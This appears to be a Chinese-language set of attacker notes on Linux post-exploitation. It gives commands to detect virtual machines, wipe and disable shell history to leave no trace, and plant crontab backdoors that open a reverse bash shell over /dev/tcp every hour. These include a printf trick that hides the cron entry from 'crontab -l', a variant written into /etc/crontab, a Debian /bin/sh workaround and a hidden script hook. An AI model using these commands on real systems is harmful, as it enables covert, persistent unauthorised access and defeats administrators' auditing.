信息搜集
#查看是否为虚拟机
cat /proc/scsi/scsi
dmesg |grep -i vir
以下为虚拟机效果:
w
/who
显示目前登入系统的用户信息
无痕终端操作
执行完成后当前终端所有操作不被记录
unset HISTORY HISTFILE HISTLOG HISTSAVES
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
crontab后门
网上几乎是公开的,这里简单说下,crontab为Linux下的定时任务命令。* * * * *
分别代表分 时 日 月 周
,及每隔多少执行一次,所以就拿来作为反弹shell使用了:
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/0.0.0.0/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/0.0.0.0/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
接下来、来点不一样的,和小伙伴们做本地调试时,各种姿势都不能成功,包括直接操作执行文件,执行命令或执行文件,均不能回连。
顺便先说下定时任务的其它增加方式:
vim /etc/crontab
60 * * * * root exec 9<> /dev/tcp/0.0.0.0/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i
重新载入配置:
service cron start //启动服务
service cron stop //关闭服务
service cron restart //重启服务
service cron reload //重新载入配置
service cron status //查看状态
or
/etc/init.d/cron start
/etc/init.d/cron stop
/etc/init.d/cron restart
/etc/init.d/cron reload
/etc/init.d/cron status
然后来讲讲我们刚刚提到的坑,问题出在Debian,网上的测试大多为Centos,然而在Debian系中,bash的软链接有点小问题,需要处理下子:
ln -s -f bash /bin/sh
最后比较下上面两种方法的优劣,网上通用的前者,如果使用crontab -l
命令可以查看当前设置的定时任务,而后者看不到,然而文件里必然是可见的。顺便一提crontab -r
清空定时任务,但不清除配置文件中的设置。
当然我们们可以继续拓展:
(crontab -l;echo '*/60 * * * * root /root/.test.sh')|crontab -
至于/root/.test.sh
具体的脚本内容,请自行发挥。